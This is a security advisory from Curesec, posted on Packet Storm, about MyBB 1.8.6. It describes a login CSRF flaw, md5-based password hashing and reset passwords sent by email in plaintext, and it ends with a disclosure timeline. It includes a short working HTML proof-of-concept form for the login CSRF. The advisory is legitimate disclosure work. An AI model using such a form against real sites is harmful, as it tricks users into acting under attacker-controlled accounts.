exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

MyBB 1.8.6 Cross Site Request Forgery / Weak Hashing

MyBB 1.8.6 Cross Site Request Forgery / Weak Hashing
Posted Sep 16, 2016
Authored by Tim Coen | Site curesec.com

MyBB version 1.8.6 suffers from a cross site request forgery vulnerability. Additionally, it stores passwords using weak hashing and sends password in clear text via email.

tags | exploit, csrf
SHA-256 | 351e86f1c83bf425eb67931e6cb7d4733f09eb3e132c0c56808dd7f55ec4eb09

MyBB 1.8.6 Cross Site Request Forgery / Weak Hashing

Change Mirror Download
Security Advisory - Curesec Research Team

1. Introduction

Affected Product: MyBB 1.8.6
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Website: http://www.mybb.com/
Vulnerability Type: CSRF, Weak Hashing, Plaintext Passwords
Remote Exploitable: Yes
Reported to vendor: 01/29/2016
Disclosed to public: 09/15/2016
Release mode: Full Disclosure / Informational
CVE: n/a
Credits Tim Coen of Curesec GmbH

2. Overview

MyBB 1.8.6 is vulnerable to login CSRF. Additionally, it stores passwords using
weak hashing, and sends passwords via email in plaintext.

3. Login CSRF

Description

CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N

The login of MyBB does not have any CSRF protection. The impact of this is low,
but a victim could provide sensitive information under a fake account. An
example would be the accidental sending of a sensitive private message while
being logged into an account controlled by an attacker.

Additionally, a login CSRF makes it possible to exploit possible
vulnerabilities in the user area, such as XSS.

Proof of Concept

<html> <body> <form action="http://localhost/mybb_1806/Upload/member.php"
method="POST"> <input type="hidden" name="action" value="do_login" /> <input
type="hidden" name="url" value="http://localhost/mybb_1806/Upload/index.php" />
<input type="hidden" name="quick_login" value="1" /> <input type="hidden" name=
"quick_username" value="admin" /> <input type="hidden" name="quick_password"
value="admin" /> <input type="hidden" name="quick_remember" value="yes" />
<input type="hidden" name="submit" value="Login" /> <input type="submit" value=
"Submit request" /> </form> </body> </html>

4. Weak Hashing

Description

MyBB uses md5 for hashing passwords, which is not considered secure.

The hashing used is:

$hash = md5(md5($salt).md5($password));

5. Passwords Emailed in Plaintext

Description

When passwords are reset, the generated 8 character password is send to the
user via email in plaintext. It is suggested that users change these passwords,
but a change is not required.

It is recommended to use a password reset token instead, and to force the user
to create a new password themselves.

6. Solution

This issue was not fixed by the vendor.

7. Report Timeline

01/29/2016 Informed Vendor about Issue
02/26/2016 Vendor requests more time
03/11/2016 Vendor releases new version
03/15/2016 Requested information about unfixed issues
03/15/2016 Vendor considers issues minor and will not fix them for now
09/15/2016 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/MyBB-186-CSRF-Weak-Hashing-Plaintext-Passwords-161.html

--
blog: https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-StraAe 54
10365 Berlin, Germany


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close